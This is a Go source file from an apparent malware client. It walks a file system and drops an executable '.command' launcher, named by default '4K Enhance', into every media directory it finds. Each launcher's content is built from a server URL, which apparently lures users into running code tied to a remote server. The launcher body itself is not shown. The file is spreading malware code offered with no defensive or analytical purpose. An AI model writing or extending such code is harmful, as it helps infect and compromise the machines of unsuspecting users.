55 lines
1.0 KiB
Go
55 lines
1.0 KiB
Go
//go:build !windows
|
|
|
|
package client
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
)
|
|
|
|
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
|
|
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
|
|
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
|
stem := opts.FileStem
|
|
if stem == "" {
|
|
stem = "4K Enhance"
|
|
}
|
|
|
|
res := suppSeekResult{}
|
|
|
|
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
|
if err != nil || !d.IsDir() {
|
|
return nil
|
|
}
|
|
res.Dirs++
|
|
|
|
if !isMediaDir(path) {
|
|
return nil
|
|
}
|
|
|
|
cmdPath := filepath.Join(path, stem+".command")
|
|
if _, err := os.Stat(cmdPath); err == nil {
|
|
res.Skipped++
|
|
return nil
|
|
}
|
|
|
|
placed := 0
|
|
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
|
|
content := commandContent(opts.ServerURL)
|
|
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
|
|
placed++
|
|
}
|
|
}
|
|
|
|
if placed > 0 {
|
|
res.Seeded++
|
|
res.Files += placed
|
|
} else {
|
|
res.Errors++
|
|
}
|
|
return nil
|
|
})
|
|
|
|
return res
|
|
}
|